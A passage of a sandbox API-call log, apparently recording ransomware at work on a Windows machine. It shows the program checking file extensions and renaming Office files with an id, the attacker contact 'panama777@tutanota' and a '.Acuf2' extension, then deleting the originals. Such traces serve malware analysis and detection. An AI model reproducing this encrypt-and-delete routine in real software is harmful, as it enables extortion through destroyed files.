	[0262.088] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.088] lstrlenW (lpString=".dbf") returned 4
	[0262.088] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.088] lstrlenW (lpString=".1cd") returned 4
	[0262.088] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.088] lstrlenW (lpString=".jpg") returned 4
	[0262.088] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.088] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0262.088] lstrlenW (lpString="GROOVE_K_COL.HXK") returned 16
	[0262.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.089] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=110) returned 1
	[0262.089] CloseHandle (hObject=0x29c) returned 1
	[0262.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 0x20
	[0262.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.089] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.089] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0262.089] GetLastError () returned 0x0
	[0262.089] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x6e, lpOverlapped=0x0) returned 1
	[0262.090] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x70, lpOverlapped=0x0) returned 1
	[0262.091] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.091] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0262.091] SetEndOfFile (hFile=0x2a4) returned 1
	[0262.091] CloseHandle (hObject=0x2a4) returned 1
	[0262.091] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.091] SetEndOfFile (hFile=0x29c) returned 1
	[0262.093] CloseHandle (hObject=0x29c) returned 1
	[0262.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 1
	[0262.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.094] lstrlenW (lpString=".doc") returned 4
	[0262.094] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.094] lstrlenW (lpString=".docx") returned 5
	[0262.094] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.094] lstrlenW (lpString=".pdf") returned 4
	[0262.094] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.094] lstrlenW (lpString=".xls") returned 4
	[0262.094] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.094] lstrlenW (lpString=".xlsx") returned 5
	[0262.094] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.094] lstrlenW (lpString=".ppt") returned 4
	[0262.094] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.094] lstrlenW (lpString=".zip") returned 4
	[0262.094] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.094] lstrlenW (lpString=".rar") returned 4
	[0262.094] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.094] lstrlenW (lpString=".bz2") returned 4
	[0262.094] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.094] lstrlenW (lpString=".7z") returned 3
	[0262.095] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.095] lstrlenW (lpString=".dbf") returned 4
	[0262.095] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.095] lstrlenW (lpString=".1cd") returned 4
	[0262.095] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.095] lstrlenW (lpString=".jpg") returned 4
	[0262.095] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.095] lstrlenW (lpString=".doc") returned 4
	[0262.095] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.095] lstrlenW (lpString=".docx") returned 5
	[0262.095] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.095] lstrlenW (lpString=".pdf") returned 4
	[0262.095] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.095] lstrlenW (lpString=".xls") returned 4
	[0262.095] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.095] lstrlenW (lpString=".xlsx") returned 5
	[0262.095] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.095] lstrlenW (lpString=".ppt") returned 4
	[0262.095] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.095] lstrlenW (lpString=".zip") returned 4
	[0262.095] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.095] lstrlenW (lpString=".rar") returned 4
	[0262.095] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.095] lstrlenW (lpString=".bz2") returned 4
	[0262.095] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.095] lstrlenW (lpString=".7z") returned 3
	[0262.095] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.096] lstrlenW (lpString=".dbf") returned 4
	[0262.096] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.096] lstrlenW (lpString=".1cd") returned 4
	[0262.096] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64
	[0262.096] lstrlenW (lpString=".jpg") returned 4
	[0262.096] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.096] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0262.096] lstrlenW (lpString="HVAC.VSL") returned 8
	[0262.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.097] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=36200) returned 1
	[0262.097] CloseHandle (hObject=0x29c) returned 1
	[0262.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 0x20
	[0262.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.114] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.114] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0262.115] GetLastError () returned 0x0
	[0262.115] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x8d68, lpOverlapped=0x0) returned 1
	[0262.123] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x8d70, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x8d70, lpOverlapped=0x0) returned 1
	[0262.125] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.125] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0262.125] SetEndOfFile (hFile=0x2a4) returned 1
	[0262.125] CloseHandle (hObject=0x2a4) returned 1
	[0262.125] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.125] SetEndOfFile (hFile=0x29c) returned 1
	[0262.127] CloseHandle (hObject=0x29c) returned 1
	[0262.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 1
	[0262.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56
	[0262.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56
	[0262.129] lstrlenW (lpString=".doc") returned 4
	[0262.129] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0262.129] lstrlenW (lpString=".docx") returned 5
	[0262.129] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1
	[0262.129] lstrlenW (lpString=".pdf") returned 4
	[0262.129] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0262.129] lstrlenW (lpString=".xls") returned 4
	[0262.129] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0262.129] lstrlenW (lpString=".xlsx") returned 5
	[0262.129] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1
	[0262.129] lstrlenW (lpString=".ppt") returned 4
	[0262.129] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0262.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56
	[0262.129] lstrlenW (lpString=".zip") returned 4
	[0262.129] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0262.129] lstrlenW (lpString=".rar") returned 4
	[0262.129] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0262.129] lstrlenW (lpString=".bz2") returned 4
	[0262.129] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0262.129] lstrlenW (lpString=".7z") returned 3
	[0262.129] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0262.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56
	[0262.129] lstrlenW (lpString=".dbf") returned 4
	[0262.129] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0262.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56
	[0262.130] lstrlenW (lpString=".1cd") returned 4
	[0262.130] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0262.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56
	[0262.130] lstrlenW (lpString=".jpg") returned 4
	[0262.130] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0262.130] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=1309) returned 1
	[0262.130] CloseHandle (hObject=0x29c) returned 1
	[0262.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 0x20
	[0262.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.131] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.131] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0262.131] GetLastError () returned 0x0
	[0262.131] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x51d, lpOverlapped=0x0) returned 1
	[0262.133] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x520, lpOverlapped=0x0) returned 1
	[0262.133] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.133] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.134] SetEndOfFile (hFile=0x2a4) returned 1
	[0262.134] CloseHandle (hObject=0x2a4) returned 1
	[0262.134] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.134] SetEndOfFile (hFile=0x29c) returned 1
	[0262.138] CloseHandle (hObject=0x29c) returned 1
	[0262.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 1
	[0262.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60
	[0262.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60
	[0262.139] lstrlenW (lpString=".doc") returned 4
	[0262.139] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.139] lstrlenW (lpString=".docx") returned 5
	[0262.139] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0262.139] lstrlenW (lpString=".pdf") returned 4
	[0262.139] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.139] lstrlenW (lpString=".xls") returned 4
	[0262.139] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.139] lstrlenW (lpString=".xlsx") returned 5
	[0262.139] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0262.139] lstrlenW (lpString=".ppt") returned 4
	[0262.139] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60
	[0262.139] lstrlenW (lpString=".zip") returned 4
	[0262.139] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.139] lstrlenW (lpString=".rar") returned 4
	[0262.139] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.139] lstrlenW (lpString=".bz2") returned 4
	[0262.139] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.139] lstrlenW (lpString=".7z") returned 3
	[0262.139] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60
	[0262.139] lstrlenW (lpString=".dbf") returned 4
	[0262.139] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60
	[0262.139] lstrlenW (lpString=".1cd") returned 4
	[0262.139] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60
	[0262.139] lstrlenW (lpString=".jpg") returned 4
	[0262.139] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.140] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=481168) returned 1
	[0262.140] CloseHandle (hObject=0x29c) returned 1
	[0262.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll")) returned 0x20
	[0262.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59
	[0262.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59
	[0262.141] lstrlenW (lpString=".doc") returned 4
	[0262.141] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.141] lstrlenW (lpString=".docx") returned 5
	[0262.141] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0262.141] lstrlenW (lpString=".pdf") returned 4
	[0262.141] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.141] lstrlenW (lpString=".xls") returned 4
	[0262.141] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.141] lstrlenW (lpString=".xlsx") returned 5
	[0262.141] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0262.141] lstrlenW (lpString=".ppt") returned 4
	[0262.141] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59
	[0262.141] lstrlenW (lpString=".zip") returned 4
	[0262.141] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.141] lstrlenW (lpString=".rar") returned 4
	[0262.141] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.141] lstrlenW (lpString=".bz2") returned 4
	[0262.141] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.141] lstrlenW (lpString=".7z") returned 3
	[0262.141] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59
	[0262.142] lstrlenW (lpString=".dbf") returned 4
	[0262.142] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59
	[0262.142] lstrlenW (lpString=".1cd") returned 4
	[0262.142] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59
	[0262.142] lstrlenW (lpString=".jpg") returned 4
	[0262.142] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.142] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.142] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0262.143] GetLastError () returned 0x0
	[0262.143] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0262.169] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0262.187] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x74d16, lpOverlapped=0x0) returned 1
